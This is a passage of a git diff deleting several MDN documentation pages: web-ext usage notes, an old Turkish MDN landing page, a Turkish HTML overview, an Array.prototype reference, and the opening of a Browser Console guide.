and destination directories</h3> - -<p>The preceding commands use default directories for the extension source and artifact creation (for example, built <code>.zip</code> files). The defaults are:</p> - -<ul> - <li>Source: The directory you are in.</li> - <li>Artifacts: A directory called <code>./web-ext-artifacts</code>, created inside the current directory.</li> -</ul> - -<p>You can specify different source and destination directories using the <code>--source-dir</code> and <code>--artifacts-dir</code> options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:</p> - -<pre class="brush: bash"><code>web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips</code></pre> - -<h3 id="Outputting_verbose_messages">Outputting verbose messages</h3> - -<p>To see in detail what web-ext is doing when you run a command, include the <code>--verbose</code> option. For example:</p> - -<pre class="brush: bash"><code>web-ext build --verbose</code></pre> - -<h3 id="Viewing_all_commands_and_options">Viewing all commands and options</h3> - -<p>You can list all commands and options like this:</p> - -<pre class="brush: bash"><code>web-ext --help</code></pre> - -<p>You can list options for a specific command by adding it as an argument:</p> - -<pre class="brush: bash"><code>web-ext --help run</code></pre> - -<h3 id="Detecting_temporary_installation">Detecting temporary installation</h3> - -<p>Your extension can detect whether it was installed using <code>web-ext run</code>, rather than as a built and signed extension downloaded from <code>addons.mozilla.org</code>. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of <code>details.temporary</code>.</p> - -<h3 id="Using_web-ext_from_a_script">Using web-ext from a script</h3> - -<p>You can use <code>web-ext</code> as a <code>NodeJS</code> module. Here is <a href="https://github.com/mozilla/web-ext#using-web-ext-in-nodejs-code">more information</a>, with example code.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a class="external external-icon" href="https://github.com/mozilla/web-ext">web-ext repo</a></li> - <li> - <p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></p> - </li> -</ul> diff --git a/files/tr/orphaned/tr/index.html b/files/tr/orphaned/tr/index.html deleted file mode 100644 index 9113b51ace..0000000000 --- a/files/tr/orphaned/tr/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Mozilla Geliştirici Ağı -slug: orphaned/Tr -tags: - - MDC - - Mozilla Developer Center - - mdc turkey - - mdc türkiye - - mgm - - mozilla geliştirici merkezi -original_slug: Tr ---- -<h4 id="Firefox_Mobile_-_Android_sürümü_yayınlandı._Test_Etmek_isterseniz_buraya_tıklayınız."><img alt="logo-only-250x250.png" class="internal default" src="/@api/deki/files/4193/=logo-only-250x250.png" style="width: 100px; height: 100px;">Firefox Mobile - Android sürümü yayınlandı. Test Etmek isterseniz <a class="external" href="http://www.mozilla.com/en-US/firefox/beta/" title="http://www.mozilla.com/en-US/firefox/beta/">buraya tıklayınız.</a></h4> -<p><strong>Firefox 9(veya son çıkan beta) sürümünü test etmek isterseniz <a class="external" href="http://www.mozilla.com/en-US/firefox/all-beta.html" title="http://www.mozilla.com/en-US/firefox/all-beta.html">buraya tıklayınız.</a></strong></p> -<h4 id="Son_sürümünü_şimdi_indirmek_için_buraya_tıklayınız._Web_uygulama_geliştiricileri_ve_web_tasarımcıları_için_Firefox_5_geliştirici_sürümüne_buradan_erişebilirsiniz.EN_Yeni_Firefox_için_75.000_fazla_temaya_buradan_ulaşabilirsiniz."> Son sürümünü şimdi indirmek için <a class="external" href="http://www.mozilla-europe.org/tr/" title="http://www.mozilla-europe.org/tr/">buraya tıklayınız.</a> Web uygulama geliştiricileri ve web tasarımcıları için Firefox 5 geliştirici sürümüne <a class="external" href="/en/Firefox_5_for_developers" title="https://developer.mozilla.org/en/Firefox_for_developers">buradan</a> erişebilirsiniz.[EN] Yeni Firefox için 75.000+ fazla temaya <a class="external" href="http://www.getpersonas.com" title="http://www.getpersonas.com">buradan ulaşabilirsiniz.</a></h4> -<div class="geckoVersionNote" style="padding: 10px;"> - Web Tarayıcıları 2012 anketine katılarak Firefox'un tanıtılmasına yardımcı olabilirsiniz. <a class="external" href="http://bit.ly/ar5OoR" title="http://bit.ly/ar5OoR"><span class="external">Buraya tıklayarak oylamaya katılabilirsiniz.</span></a></div> -<hr> -<h2 id="Thunderbird_3_ile_e-postalarınıza_daha_çok_hükmedin!"><a class="external" href="http://tr.www.mozillamessaging.com/tr/thunderbird/" title="Thunderbird 3 İndir"><img alt="download-button-primary.png" class="internal default" src="/@api/deki/files/4194/=download-button-primary.png?size=webview" style="width: 350px; height: 132px;"></a> Thunderbird 3 ile e-postalarınıza daha çok hükmedin!</h2> -<h2 id="Mobil_Firefox_ile_her_yerde_hızlı_ve_güvenli_internetin_tadını_çıkarın."><a href="/Tr/Fennec_(Firefox_Mobile)" title="Tr/Fennec (Firefox Mobile)"><img alt="fennec_logo.png" class="internal default" src="/@api/deki/files/4246/=fennec_logo.png" style="width: 339px; height: 147px;"></a>Mobil Firefox ile her yerde hızlı ve güvenli internetin tadını çıkarın.</h2> -<table class="mainpage-table"> - <tbody> - <tr> - <td colspan="2"> - <h2 id="Geliştirme_Konuları">Geliştirme Konuları</h2> - </td> - </tr> - <tr> - <td> - <dl> - <dt> - <a class="internal" href="/en/Web_Development" title="En/Web Development">Web geliştirme</a></dt> - <dd> - Kılavuzlar ve referanslar ile yararlı web siteleri ve web uygulamaları geliştirebilirsiniz.</dd> - <dt> - <a class="internal" href="/En/Participating_in_the_Mozilla_project" title="En/Participating in the Mozilla project">Mozilla projesine katılmak</a></dt> - <dd> - Mozilla kodlarını derlemek, geliştirici kılavuzu, hata raporlama, yerelleştirme kılavuzu ve Mozilla projelerine katkı sağlamak adına öğrenebileceğiniz herşey burada yer almaktadır.</dd> - <dt> - </dt> - <dt> - </dt> - </dl> - </td> - <td> - <dl> - <dt> - <a class="internal" href="/En/Developing_add-ons" title="en/Developing add-ons">Eklenti Geliştirme</a></dt> - <dd> - Firefox ve Thunderbird uygulamalarına tema,eklenti geliştirmek isterseniz, işinize yarayacak kaynaklar burada yer almaktadır.</dd> - <dt> - <a class="internal" href="/En/Using_Mozilla_code_in_other_projects" title="En/Using Mozilla code in other projects">Mozilla kodlarını diğer projelerde kullanımı</a></dt> - <dd> - Mozilla teknolojisini kendi projelerinizde nasıl kullanabileceğinizi öğrenin.</dd> - <dt> - <a class="internal" href="/En/Documentation_hot_links" title="En/Documentation hot links">Dökümantasyon sıcak bağlantıları</a></dt> - <dd> - Son dökümantasyonlar ve bir biri ile ilişikli bağlantıların merkezi bura</dd> - </dl> - </td> - </tr> - </tbody> -</table> -<p> </p> diff --git a/files/tr/orphaned/web/html-alani/index.html b/files/tr/orphaned/web/html-alani/index.html deleted file mode 100644 index 7ec71baafa..0000000000 --- a/files/tr/orphaned/web/html-alani/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: 'HTML: Hypertext Markup Language' -slug: orphaned/Web/HTML-Alani -tags: - - HTML - - HTML5 - - Web -original_slug: Web/HTML-Alani ---- -<div>{{HTMLSidebar}}</div> - -<p class="summary"><span class="seoSummary"><strong>HTML</strong><span class="tlid-translation translation" lang="tr"><span title=""> (HyperText Markup Language), Web’in en temel yapı taşıdır.</span> <span title="">Web içeriğinin anlamını ve yapısını tanımlar.</span> <span title="">HTML dışındaki diğer teknolojiler genellikle bir web sayfasının görünümünü / sunumunu (<a href="/tr/docs/Web/CSS">CSS</a>) veya işlevselliğini / davranışını (<a href="/tr/docs/Web/JavaScript">JavaScript</a>) tanımlamak için kullanılır.</span></span></span></p> - -<p>"HyperText" (köprü metni, üst metin, hiper metin olarak da bilinir), web sayfalarını tek bir web sitesi içinde veya web siteleri arasında birbirine bağlayan bağlantıları ifade eder. Bağlantılar, Web'in temel bir özelliğidir. İnternete içerik yükleyerek ve başkaları tarafından oluşturulan sayfalara bağlayarak, World Wide Web’de aktif bir katılımcı olursunuz.</p> - -<p>HTML, bir Web tarayıcısında görüntülenmek üzere metin, resim ve diğer içerikleri tanımlamak için "işaretlemeyi" (markup) kullanır.</p> - -<p>HTML işaretlemesi {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("li")}} gibi birçok özel "element" içerir.</p> - -<p>Bir HTML elementi, bir belgedeki diğer metinden "<" ve ">" ile çevrelenmiş element adından oluşan "etiketler" ile ayrılır. Bir etiket içindeki bir elementin adı büyük / küçük harf duyarsızdır. Yani, büyük harf, küçük harf veya karışım şeklinde yazılabilir. Örneğin, <code><title></code> etiketi <code><Title></code>, <code><TITLE></code> veya başka bir şekilde yazılabilir.</p> - -<p>Aşağıdaki makaleler HTML hakkında daha fazla bilgi edinmenizi sağlayabilir.</p> - -<section class="cleared" id="sect1"> -<ul class="card-grid"> - <li><span>HTML'e Giriş</span> - - <p>Web geliştirmede yeniyseniz, HTML'nin ne olduğunu ve nasıl kullanılacağını öğrenmek için <a href="/en-US/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML Temelleri</a> makalemizi mutlaka okuyun.</p> - </li> - <li><span>HTML Dersleri</span> - <p>HTML'nin yanı sıra dersler ve örneklerin kullanımı hakkında makaleler için, <a href="/en-US/docs/Learn/HTML">HTML Öğrenme Alanı</a>'nı inceleyin..</p> - </li> - <li><span>HTML Öğelerinin Açıklamaları</span> - <p><a href="/en-US/docs/Web/HTML/Reference">Genişletilmiş HTML örnekleri </a>bölümümüzde, HTML'deki her element ve özellik hakkındaki ayrıntıları bulacaksınız.</p> - </li> -</ul> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Tools" id="Temel_Düzey_Dersleri">Temel Düzey Dersleri</h2> - -<p><a href="/en-US/docs/Learn/HTML">HTML Ögrenme Alanımız</a> HTML hakkında hiçbir önbilgi sahibi olmanızı gerektirmeksizin en temelden başlayarak anlatan modüller bulundurmaktadır.</p> - -<dl> - <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e Giriş </a></dt> - <dd>Bu modül, sizi köprüler (linkler) oluşturma ve bir web sayfasını yapılandırmak için HTML'in nasıl kullanılabileceği gibi önemli kavramlara ve sözdizimine alıştırarak temel oluşturur.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia ekleme ve gömme (embed etme) İşlemleri</a></dt> - <dd>Bu modül, bir HTML sayfasına multimedia içeriklerin birkaç farklı yol ile nasıl dahil edileceği, videoların, ses dosyalarının ve hatta bir web sayfasının tamamımının bir HTML sayfasına nasıl gömülebileceğini keşfetmenizi sağlar.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Tables">HTML tabloları</a></dt> - <dd>Bir web sayfasındaki tablo verilerini anlaşılabilir, erişilebilir bir şekilde göstermek zor olabilir. Bu modül, temel tablo elementlerinden {{HTMLElement("caption")}} ve {{HTMLElement("summary")}} gibi daha ileri özelliklere kadar bilgileri kapsar.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Forms">HTML formları</a></dt> - <dd>Formlar, Web’in çok önemli bir parçasıdır - kaydolma ve giriş yapma, geri bildirim gönderme, ürün satın alma gibi web siteleriyle etkileşimde bulunmak için ihtiyacınız olan işlevselliğin çoğunu sağlar. Bu modül, formların istemci tarafı / front-end kısımlarını oluşturmaya başlamanızı sağlar.</dd> - <dt><a href="/en-US/docs/Learn/HTML/Howto">Yaygın HTML problemlerinin çözümleri</a></dt> - <dd>Bir web sayfası oluştururken sık karşılaşılan HTML sorunlarının nasıl çözülebileceğini açıklayan içerik bölümlerine bağlantılar sağlar: başlıklarla çalışmak, resimler veya videolar eklemek, içeriği vurgulamak, temel bir form oluşturmak, vb.</dd> -</dl> - -<h2 id="İleri_Düzey_Konular">İleri Düzey Konular</h2> - -<dl> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS olarak etkinleştirilmiş resim</a></dt> - <dd class="landingPageList">{{htmlattrxref("crossorigin", "img")}} özelliği, uygun bir {{glossary("CORS")}} üstbilgisiyle birlikte, {{HTMLElement("img")}} elementi tarafından tanımlanan görüntülerin yabancı kaynaklardan yüklenmesini ve bir {{HTMLElement("canvas")}} elemanında mevcut orijinden yüklenmiş gibi kullanılmasını sağlar.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS </a><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">ayarları özellikleri</a></dt> - <dd class="landingPageList">{{HTMLElement("img")}} veya {{HTMLElement("video")}} gibi <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a> desteği sağlayan bazı HTML öğelerinde, öğenin getirilen verileri için CORS isteklerini yapılandırmanıza izin veren bir <code>crossorigin</code> özelliği (<code>crossOrigin</code> özelliği) bulunur.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Focus_management_in_HTML">HTML'de Focus yönetimi</a></dt> - <dd><code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> DOM özelliği ve <code><a href="/en-US/docs/Web/API/Document/hasFocus">hasFocus()</a></code> DOM metodu bir kullanıcınin bir web sayfasindaki elementlerle etkileşimlerini izlemenize ve kontrol etmenize yardımcı olur.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Preloading_content">rel="preload" ile içeriği önceden yükleme</a></dt> - <dd class="landingPageList">{{htmlelement("link")}} elementinin <code>preload</code> değerinin {{htmlattrxref("rel", "link")}} özelliği HTML’nizin {{htmlelement("head")}} bölümüne web tarayıcısının sayfayı ilk gösterime hazırlamasından önce, sayfa ilk görüntülendiğinde görünecek olan bölümlerin istenildiği gibi gösterilebilmesi için ihtiyaç duyacağı kaynakları sayfa yüklenmeye ilk başladığında getirmesi için isteklerinizi yazmanıza olanak tanır. Bu, daha önceden kullanılabilir olmalarını sağlar ve sayfanın ilk oluşturma işlemini engelleme olasılığının daha düşük olmasını sağlar ve bu da performans iyileştirmeleri sağlar. Bu makale, önyüklemenin nasıl çalıştığı hakkında temel bir rehberdir.</dd> -</dl> -</div> - -<div class="section"> -<h2 class="Documentation" id="HTML_öğeleri">HTML öğeleri</h2> - -<dl> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Reference">HTML öğeleri</a></dt> - <dd class="landingPageList">HTML, her biri belirli sayıda <strong>özellik (attribute)</strong> tarafından özelleştirilebilen <strong>elementlerden (HTML elementi)</strong> oluşur. HTML belgeleri birbirine <a href="/en-US/docs/Web/HTML/Link_types">linkler</a> ile bağlanır.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Element">HTML elementleri</a></dt> - <dd class="landingPageList">Tüm {{glossary("HTML")}} {{glossary("Element", "element")}} 'lerinin yer aldığı listeye göz at!</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Attributes">HTML özellikleri (attribute)</a></dt> - <dd class="landingPageList">HTML elementleri özelliklere sahiptirler. Bu özellikler farklı yollarla elementlerin davranışlarını belirler.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Global_attributes">Global özellikler (attributes)</a></dt> - <dd class="landingPageList">Global özellikler <em>standart olmayan elementler dahil</em> tüm HTML elementlerini belirler.<em> </em>Bu HTML5 ile uyumlu olmayan bir belge olsa dahi tum elementleri belirtebileceği anlamına gelir.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Inline_elements">Inline elementler</a> ve <a href="/en-US/docs/Web/HTML/Block-level_elements">block-level elementler</a></dt> - <dd class="landingPageList">HTML elementleri genelde "inline" (satıriçi) veya "block-level" (blok düzeyli) elementlerdir. Bir inline element yalnızca onu tanımlayan etiketlerle sınırlanan alan kadar yer kaplar. Bir block-level element bir "blok" oluşturarak bir ust elementinin tumunu kaplar.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Link_types">Link tipleri</a></dt> - <dd class="landingPageList">HTML'de, iki doküman arasında bağlantılar birçok farklı link tipi ile kurulabilir. Link elementleri {{HTMLElement("a")}}, {{HTMLElement("area")}} and {{HTMLElement("link")}} ile oluşturulabilir.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio ve video elementleri tarafından desteklenen media formatları</a></dt> - <dd class="landingPageList">{{HTMLElement("audio")}} ve {{HTMLElement("video")}} elementleri audio ve video dosyaları oynatmanıza izin verir. Bu elementler Adobe Flash ve eklentilere alternatif olarak tarayıcıya özgü oynatıcılar sunar.</dd> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Kinds_of_HTML_content">HTML içeriğinin çeşitleri</a></dt> - <dd class="landingPageList">HTML, her biri belirli bağlamlarda kullanılmasına izin verilen ve başkalarına izin verilmeyen çeşitli içerik türlerinden oluşur. Benzer şekilde, her biri içerebilecekleri başka içerik kategorilerine ve içinde kullanılabilecek veya kullanılamayacak öğelere sahiptir. Bu, bu kategoriler için bir rehberdir.</dd> - <dt class="landingPageList"></dt> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Quirks mod(garip mod) and standard mod</a></dt> - <dd class="landingPageList">Quirk mod and standard mod hakkında tarihi bilgiler.</dd> -</dl> - -<h2 class="landingPageList" id="İlgili_Konular">İlgili Konular</h2> - -<dl> - <dt><a href="/en-US/docs/Web/HTML/Applying_color">HTML elementlerini CSS kullanarak renklendirmek</a></dt> - <dd>Bu makale HTML içeriklerine CSS kullanarak renk eklemek için kullanılan çoğu yolu kapsamaktadır. Renklendirilebilecek HTML elementlerini ve bu elementleri hangi CSS özellikleri kullanılarak renklendirilebileceğini gösterir. Örnekler, renk palet araçlarının linkleri ve daha fazlası burada.</dd> -</dl> -</div> -</div> -<span class="alllinks"><a href="/en-US/docs/tag/HTML">Tümünü Görüntüle...</a></span></section> diff --git a/files/tr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html b/files/tr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html deleted file mode 100644 index 024fd28feb..0000000000 --- a/files/tr/orphaned/web/javascript/reference/global_objects/array/prototype/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Array.prototype -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/Array/prototype ---- -<div>{{JSRef("Global_Objects", "Array")}}</div> - -<h2 id="Summary" name="Summary">Summary</h2> - -<p>The <strong><code>Array.prototype</code></strong> property represents the prototype for the {{jsxref("Global_Objects/Array", "Array")}} constructor.</p> - -<div>{{js_property_attributes(0, 0, 0)}}</div> - -<h2 id="Description" name="Description">Description</h2> - -<p>{{jsxref("Global_Objects/Array", "Array")}} instances inherit from <code>Array.prototype</code>. As with all constructors, you can change the constructor's prototype object to make changes to all {{jsxref("Global_Objects/Array", "Array")}} instances.</p> - -<p>Little known fact: <code>Array.prototype</code> itself is an {{jsxref("Global_Objects/Array", "Array")}}:</p> - -<pre class="brush: js">Array.isArray(Array.prototype); // true -</pre> - -<h2 id="Properties" name="Properties">Properties</h2> - -<dl> - <dt><code>Array.prototype.constructor</code></dt> - <dd>Specifies the function that creates an object's prototype.</dd> - <dt>{{jsxref("Array.prototype.length")}}</dt> - <dd>Reflects the number of elements in an array.</dd> -</dl> - -<h2 id="Methods" name="Methods">Methods</h2> - -<h3 id="Mutator_methods" name="Mutator_methods">Mutator methods</h3> - -<p>These methods modify the array:</p> - -<dl> - <dt>{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}</dt> - <dd>Copies a sequence of array elements within the array.</dd> - <dt>{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}</dt> - <dd>Fills all the elements of an array from a start index to an end index with a static value.</dd> - <dt>{{jsxref("Array.prototype.pop()")}}</dt> - <dd>Removes the last element from an array and returns that element.</dd> - <dt>{{jsxref("Array.prototype.push()")}}</dt> - <dd>Adds one or more elements to the end of an array and returns the new length of the array.</dd> - <dt>{{jsxref("Array.prototype.reverse()")}}</dt> - <dd>Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.</dd> - <dt>{{jsxref("Array.prototype.shift()")}}</dt> - <dd>Removes the first element from an array and returns that element.</dd> - <dt>{{jsxref("Array.prototype.sort()")}}</dt> - <dd>Sorts the elements of an array in place and returns the array.</dd> - <dt>{{jsxref("Array.prototype.splice()")}}</dt> - <dd>Adds and/or removes elements from an array.</dd> - <dt>{{jsxref("Array.prototype.unshift()")}}</dt> - <dd>Adds one or more elements to the front of an array and returns the new length of the array.</dd> -</dl> - -<h3 id="Accessor_methods" name="Accessor_methods">Accessor methods</h3> - -<p>These methods do not modify the array and return some representation of the array.</p> - -<dl> - <dt>{{jsxref("Array.prototype.concat()")}}</dt> - <dd>Returns a new array comprised of this array joined with other array(s) and/or value(s).</dd> - <dt>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</dt> - <dd>Determines whether an array contains a certain element, returning <code>true</code> or <code>false</code> as appropriate.</dd> - <dt>{{jsxref("Array.prototype.join()")}}</dt> - <dd>Joins all elements of an array into a string.</dd> - <dt>{{jsxref("Array.prototype.slice()")}}</dt> - <dd>Extracts a section of an array and returns a new array.</dd> - <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt> - <dd>Returns an array literal representing the specified array; you can use this value to create a new array. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd> - <dt>{{jsxref("Array.prototype.toString()")}}</dt> - <dd>Returns a string representing the array and its elements. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd> - <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt> - <dd>Returns a localized string representing the array and its elements. Overrides the {{jsxref("Object.prototype.toLocaleString()")}} method.</dd> - <dt>{{jsxref("Array.prototype.indexOf()")}}</dt> - <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.</dd> - <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt> - <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.</dd> -</dl> - -<h3 id="Iteration_methods" name="Iteration_methods">Iteration methods</h3> - -<p>Several methods take as arguments functions to be called back while processing the array. When these methods are called, the <code>length</code> of the array is sampled, and any element added beyond this length from within the callback is not visited. Other changes to the array (setting the value of or deleting an element) may affect the results of the operation if the method visits the changed element afterwards. While the specific behavior of these methods in such cases is well-defined, you should not rely upon it so as not to confuse others who might read your code. If you must mutate the array, copy into a new array instead.</p> - -<dl> - <dt>{{jsxref("Array.prototype.forEach()")}}</dt> - <dd>Calls a function for each element in the array.</dd> - <dt>{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}</dt> - <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array.</dd> - <dt>{{jsxref("Array.prototype.every()")}}</dt> - <dd>Returns true if every element in this array satisfies the provided testing function.</dd> - <dt>{{jsxref("Array.prototype.some()")}}</dt> - <dd>Returns true if at least one element in this array satisfies the provided testing function.</dd> - <dt>{{jsxref("Array.prototype.filter()")}}</dt> - <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true.</dd> - <dt>{{jsxref("Array.prototype.find()")}} {{experimental_inline}}</dt> - <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found.</dd> - <dt>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</dt> - <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.</dd> - <dt>{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}</dt> - <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array.</dd> - <dt>{{jsxref("Array.prototype.map()")}}</dt> - <dd>Creates a new array with the results of calling a provided function on every element in this array.</dd> - <dt>{{jsxref("Array.prototype.reduce()")}}</dt> - <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.</dd> - <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt> - <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.</dd> - <dt>{{jsxref("Array.prototype.values()")}} {{experimental_inline}}</dt> - <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd> - <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}</dt> - <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd> -</dl> - -<h3 id="Generic_methods" name="Generic_methods">Generic methods</h3> - -<p>Many methods on the JavaScript Array object are designed to be generally applied to all objects which “look like” Arrays. That is, they can be used on any object which has a <code>length</code> property, and which can usefully be accessed using numeric property names (as with <code>array[5]</code> indexing). <span class="comment">TODO: give examples with Array.prototype.forEach.call, and adding the method to an object like {{jsxref("Global_Objects/JavaArray", "JavaArray")}} or {{jsxref("Global_Objects/String", "String")}}.</span> Some methods, such as {{jsxref("Array.join", "join")}}, only read the <code>length</code> and numeric properties of the object they are called on. Others, like {{jsxref("Array.reverse", "reverse")}}, require that the object's numeric properties and <code>length</code> be mutable; these methods can therefore not be called on objects like {{jsxref("Global_Objects/String", "String")}}, which does not permit its <code>length</code> property or synthesized numeric properties to be set.</p> - -<h2 id="Specifications" name="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>ECMAScript 1st Edition.</td> - <td>Standard</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also" name="See_also">See also</h2> - -<ul> - <li>{{jsxref("Global_Objects/Array", "Array")}}</li> - <li>{{jsxref("Function.prototype")}}</li> -</ul> diff --git a/files/tr/tools/browser_console/index.html b/files/tr/tools/browser_console/index.html deleted file mode 100644 index d4f4c1015c..0000000000 --- a/files/tr/tools/browser_console/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: Browser Console -slug: Tools/Browser_Console -tags: - - Developer - - Tutorial - - WebGL - - WebMechanics - - WebRTC -translation_of: Tools/Browser_Console -original_slug: Araclar/Browser_Console ---- -<div> {{ToolsSidebar}}</div> - -<p>The Browser Console is like the <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a>, but applied to the whole browser rather than a single content tab.</p> - -<p>So it logs the same sorts of information as the Web Console - network requests, JavaScript, CSS, and security errors and warnings, and messages explicitly logged by JavaScript code. However, rather than logging this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code.</p> - -<p>If you also want to use the other web developer tools in the regular Web <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a> with add-on or browser code, consider using the <a href="/en-US/docs/Tools/Browser_Toolbox">Browser Toolbox</a>.</p> - -<p>Similarly, you can execute JavaScript expressions using the Browser Console. But while the Web Console executes code in the page window scope, the Browser Console executes them in the scope of the browser's chrome window. This means you can interact with all the browser's tabs using the <a href="/en-US/docs/Code_snippets/Tabbed_browser" title="/en-US/docs/Code_snippets/Tabbed_browser"><code>gBrowser</code></a> global, and even with the XUL used to specify the browser's user interface.</p> - -<div class="blockIndicator geckoVersionNote"> -<p>NB: The Browser Console command line (to execute JavaScript expressions) is disabled by default. To enable it set the <code>devtools.chrome.enabled</code> preference to <code>true</code> in about:config, or set the "Enable browser {{Glossary("chrome")}} and add-on debugging toolboxes" (Firefox 40 and later) option in the <a href="/en-US/docs/Tools/Settings">developer tool settings</a>.</p> -</div> - -<h2 id="Opening_the_Browser_Console">Opening the Browser Console</h2> - -<p>You can open the Browser Console in one of two ways:</p> - -<ol> - <li>from the menu: select "Browser Console" from the Web Developer submenu in the Firefox Menu (or Tools menu if you display the menu bar or are on macOS).</li> - <li>from the keyboard: press Ctrl+Shift+J (or Cmd+Shift+J on a Mac).</li> -</ol> - -<p>You can also start the Browser Console by launching Firefox from the command line and passing the <code>-jsconsole</code> argument:</p> - 